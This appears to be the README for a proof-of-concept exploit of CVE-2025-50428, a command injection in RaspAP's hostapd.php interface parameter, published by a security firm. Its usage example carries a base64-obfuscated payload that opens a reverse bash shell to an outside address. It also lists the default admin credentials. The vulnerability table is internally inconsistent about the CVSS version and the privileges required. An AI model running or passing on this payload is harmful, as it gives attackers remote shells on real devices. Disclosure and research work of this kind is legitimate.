
Proof of concept for the vulnerability CVE-2025-50428: Authenticated OS Command Injection in RaspAP
| Vulnerability ID | CVE-2025-50428 |
|---|
| Severity | High (CVSS 3.1: 8.6) |
| CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Vulnerability Type | Code Injection |
| Attack Vector | Remote (Authenticated) |
| Privileges Required | Low |
| Impact | Code Execution, Privilege Escalation |
| Affected Product | raspap-webgui ≤ 3.2.9 |
| Discovered by | SmartTECS Cyber Security GmbH |
This exploit targets a command injection vulnerability in the hostapd.php script of RaspAP. The vulnerability exists due to improper sanitization of user input passed via the interface parameter. An authenticated attacker can inject arbitrary OS commands, resulting in code execution with the privileges of the www-data user.
requests library installedpython3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]
--base-url: Base URL of the RaspAP installation (e.g., http://192.168.122.22)--interface: Value for the interface parameter, injection payload allowed--username: RaspAP username (default: admin)--password: RaspAP password (default: secret)python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"
SmartTECS Cyber Security GmbH is a cybersecurity company specializing in penetration testing, secure software development, and vulnerability research. The company provides tailored security assessments, incident response, and strategic advisory services to help organizations protect critical systems from evolving cyber threats.
This tool is provided strictly for educational and research purposes. Use only on systems owned or administered with explicit permission. The author and SmartTECS Cyber Security GmbH assume no liability for misuse or damage.